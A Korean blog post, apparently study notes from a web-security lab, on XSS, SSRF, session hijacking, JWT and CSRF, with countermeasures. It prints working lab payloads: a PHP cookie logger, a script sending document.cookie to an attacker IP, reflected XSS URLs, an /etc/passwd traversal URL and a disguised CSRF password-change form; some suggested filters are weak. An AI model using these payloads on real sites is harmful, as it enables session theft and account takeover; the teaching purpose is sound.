공격 -XSS, Session Hijacking, CSRF

:)·2024년 6월 5일

XSS csrf session session hijacking

보안

목록 보기

18/28

xss 공격 (Cross Site Scripting)

‘크사’라 부름
자바 스크립트를 써서 공격자가 의도한대로 사용자를 유도하는 공격 <script> location.href="[https://www.naver.com](https://www.naver.com/)"</script>
- 간략한 링크들
  1. 클릭 시 웹페이지 이동
    <a href = "http://www.naver.com"> click here </a>
  2. 이미지 클릭 시 웹페이지 이동
    <a href ="http://www.naver.com"><img src="주소" width="100" height="100"></img></a>
  3. 사이트 링크 넣기
    <iframe src="https://www.nate.com" width="800" height="800" frameborder="10"></iframe>
  4. 응용 유튜브 올리기
    <iframe width="560" height="315" src="영상링크";>
  5. xxs 공격 (바로실행되도록 하기) [ Stored XSS (Persistent XSS, 저장 XSS)]
기능 확인 <script> alert("안녕하세요")</script>
무조건 외우기
<script> alert("안녕하세요")</script>
<script> location.href="[https://www.naver.com](https://www.naver.com/)"</script>
<script> alert(document.cookie)</script>

종류

Stored XSS (Persistent XSS, 저장 XSS)
- 웹 서버에 악성 스크립트를 영속적으로 저장해 놓는 방법
- 클라이언트는 저장된 스크립트를 통해서 공격자의 의도대로 실행됨
Reflected XSS (반사 XSS)
- 지정된 파라미터를 사용할 때 발생하는 취약점을 이용하는 공격
- 매개체를 통해서 공격 되는 XSS 공격

DOM-based XSS (문서 객체 모델-기반 XSS) → SSRF
- 문서 내에 있는 태그나 링크들을 클릭하여 전달되는 XSS

- ssrf
 https://www.lgcns.com/blog/cns-tech/security/3202/

- 취약한 서버를 이용하여 공격자가 내부 서버에 원하는 요청을 보내도록 하는 방법
- 보통 공격자가 과도한 정보나 기능을 요청할 경우, 방화벽에서 필터링하거나 웹 서버에서 원하는 정보를 보내주지 않습니다. 하지만 인터넷 앞단의 웹서버가 입력된 URL 값을 충분하게 검사하지 않고 내부 서버로 전달한다면 이야기가 달라집니다. 이것을 이용해서 내부 서버의 정보를 노출시키거나 서비스 거부 공격할 수 있는 것입니다. 이처럼 SSRF는 웹페이지 번역 서비스, PDF 문서 생성기의 잘못된 구현이나, 퍼블릭 클라우드 환경에서 메타서버 접근통제가 미흡한 경우 발생할 수 있습니다.
- SSRF는 ‘CSRF(Cross Site Request Forgery)’와 비슷한 이름을 가지고 있습니다. 이 두 공격은 비슷한 방식을 사용하지만 이용하는 매개체가 다릅니다. 원하는 정보를 얻을 때 SSRF가 서버의 요청을 이용한다면, CSRF는 사용자의 요청을 이용하는 것이죠. 두 공격 모두 공격자가 접근할 수 없는 정보나 시스템에 접근할 수 있도록 만들어줍니다. 하지만 공통적으로 내부에서는 ‘정상 요청’이라고 인식하게 됩니다.
- 해당 링크 주소를 변경하여 내부의 자원을 서버가 직접 출력하도록 만듬, 자원을 끌어옴
- 로컬 호스트를 사용할 수도 있음(직접 들어가서 가져오는 것도 가능)
`http://192.168.10.10/down_file.php?file_name=../../../../../../../etc/passwd`

Universal XSS
- 브라우저 안에서 실행하는 XSS - 주로 URL 이용(input, form, GET)

실습

실습 순서
1. 로그인한 페이지의 쿠키값 메모장 저장
2. 프록시의 오픈 브라우저로 로그인하지 않은 상태에서 프록시 설정
3. 쿠키값을 저장한 값으로 교체
4. 페이지가 열릴때마다 메모장에 저장된 쿠키로 바꿔줌
5. 회원정보수정으로 가서 비밀번호 1로 변경해봄

쿠키와 세션의 차이

쿠키 = 사물함 KEY
- 맨 처음엔 서버가 클라이언트에 제공하는 값, 이후엔 클라이언트에 저장되는 값이자 서버에서 클라이언트를 식별하는 값 (식별 값)
- 쿠키를 받았을 때 해당하는 세션 정보를 서버는 제공
- 즉 쿠키는 클라이언트에 저장 서버 접속 시 서버는 쿠키를 확인 후에 해당 클라이언트 이전 접속 정보를 전송
- 세션 = 사물함
  - 요청자와 서버 간의 연결
  - 세션 정보를 가지고 있음
- 세션 : 실제 사용자의 연결된 정보
  쿠키 : 세션을 받기 위한 클라이언트 인식값
- 세션: 서버나 서비스에 별도로 저장되는 연결값 또는 연결정보
  쿠키: 서버가 저장하고는 있는 세션정보를 넘겨주기 위한 인식값
- 쿠키는 텍스트 형식으로 클라이언트 하드에 저장됨 서버의 정보를 받기위한 인식값
  세션은 서버에 서비스나 기타 주제에 따라 별도로 저장되는 연결값 또는 연결정보

세션 탈취 방지 위한 방법 (세션 만료, 재사용 불가)

중요한 단계나 사이트 갱신 시 쿠키를 재갱신하여 이전 쿠키를 세션 정보를 사용할 수 없도록 함 (JWT 토큰 인증)
쿠키에 대한 세션 유효시간 설정 (JWT 토큰 인증)
중복 로그인 방지(약한 보안, 내가 안쓸때 들어올 수 있음)
로그아웃과 같은 수단 활용 쿠키를 사용 후 세션만료를 할 수 있도록하여 세션 재사용 불가
결론 : 쿠키 재사용X

세션 하이재킹 (session hijacking) → 운용 중인 세션을 가로챔

공격 측에서 만든 코드
- vi /var/www/html/getcookie.php

    <?php
    $fd=fopen("/sevas/cookie.dat","a+") or die ("can't open file");
    fputs($fd,$_SERVER['REMOTE_ADDR']."Cookie is {$_GET["cookie"]} \n" );
    fclose($fd);
    ?>

웹서버에서 공격 (게시글 작성)
<img name="i" width="0" height="0"> </img> <script> i.src="http://192.168.10.20/getcookie.php?cookie="+document.cookie</script>
칼리의 /sevas/cookie.dat 에서 세션 쿠키를 확인하고 확인된 쿠키로 로그인 시도
<img name="i" width="0" height="0" src="http://192.168.10.200/getcookie.php?cookie=PHPSESSID=si3i13dbbucosb3oprqmd1f9f1">
- 이외의 공격 코드
  - http://192.168.10.10/board_view.php?b_no='><img src=x onerror=prompt(5)>
  - http://192.168.10.10/board_view.php?b_no=%27)><script>alert(%27sevas%27)</script>
  - http://192.168.10.10/board_view.php?b_no=%27><script>alert(document.cookie)</script>
    - %27 = '

쿠키 토큰 세션 - JWT
- 쿠키: 클라(cookie 요청 내용 추가) => 서버(set-cookie 저장소 세션 호출을 저장 ) 세션: 서버에 저장 (식별 값에 의한 연결 값 저장), 계정 정보 연결 토큰: 토큰 안에 유저 정보가 저장 ( 사용자 정보 암호화 ) , 쿠키/세션 방식을 보안하기 위해서 나옴
- header payload와 verify signature의 암호화 방식 , type등 정보가 저장
  payload ID/PW와 같은 사용자 정보
  verify signature : base64 인코딩한 header,payload,secret key를 더하여 서명

로그인
ID및 PW 계정 정보를 payload에 입력
토큰 유효기간 설정 (JWT) json web token - refresh token
암호화할 secret key 를 사용해 access token 발급
사용자는 access token 을 저장하고 인증때마다 헤더에 실어서 보냄 → refresh_token을 통해 새로운 access_token 갱신
서버는 해당 토큰의 서명값을 secret key로 복호화 하여 조작 여부 유효 기간 판단
검증이 완료 되면 payload 디코딩하여 사용자 정보를 가져옴
- 장점 : 간편 확장성 뛰어남 , 쿠키의 단점인 재사용을 보완
- 단점 : payload 자체에는 base64 디코딩이 가능함 , 길이가 길어져서 인증이 많아질수록 서버의 자원 낭비 심해짐

xss 대응 방안
http://blog.plura.io/xss-대응방안/

CSRF

사용자 의지와 무관하게 공격자가 의도한 행위를 특정 웹사이트에 요청(서버의 자원을 사용)

xss와 CSRF의 차이

xss → 쿠키나 정보 탈취, 자바스크립트 사용

csrf → 사용자의 비정상 행위 발생, 서버에서 제공하는 기능 사용 , 서버에서 자원 동작

 
                           xss			                     CSRF
 공격수행		  클라이언트		                 서버
 기능구현		  공격자 script		                 서버 제공 기능
 script사용여부	          필수			                 선택
 공격시 준비	          취약점 발견시 즉시 사용	                 동작 원리/request/response의 로직 분석
 공격감지 가능              감지 가능 			         구분이 어려움

이벤트 당첨 확인바랍니다<br>
<form method=POST action=proc/update_proc.php>
<input type=hidden name=pw value=1>
<input type=submit value="휴가갈사람">
</form>

보안 대책

'<' 와 같은 웹스크립트 사용 불가 → GET 사용 x
기존의 내용과 비교할 수 있는 검증 수단 마련 or OTP 와 같은 2차 인증
- 2019년 이후 자바 스크립트자체에서 file:/// 로 이동하는 내용 막힘

script 방어
- 글자 방어
  - $subject=preg_replace("/<script>/i","",$ subject);
    $contents=preg_replace("/<script>/i","",$ contents);
- ‘<’ 방어 -> 제일 좋은 방법
  - $subject=preg_replace("<","",$ subject);
    $contents=preg_replace(">","",$ contents);
실무에 직접적인 xss 보안
1. 입출력 값 검증 (필터링 제한/치환) → 정규 표현식, 스크립트 특수 문자 치환, 제한 (&,<,>,",',/) => < = < / > = >
2. 주요 정보 입력 값 확인 절차 추가(비번 확인, otp, 캡쳐)
3. xss를 방어하는 웹 브라우저 및 라이브러리 활용 ( 웹 브라우저 출력 x, url 포함)
4. 웹 방화벽 사용 (보안 솔루션 사용-sw적), 보안 취약 프로그램 확인 및 최신 업데이트

세션을 막는 방법

쿠키 httponly 옵션 활성

    <?xml version="1.0" encoding="UTF-8">
      <Context path="/[webapp 경로]" useHttpOnly="true">
      
      session.cookie_httponly = True
      Cookie cookie = getMyCookie("myCookieName");
      
      // /etc/php/{version}/php.ini 파일 수정
      cookie.setHttpOnly(true);

:) GITHUB: https://github.com/YJ2123412

이전 포스트

암호화, 복호화 - mysql

다음 포스트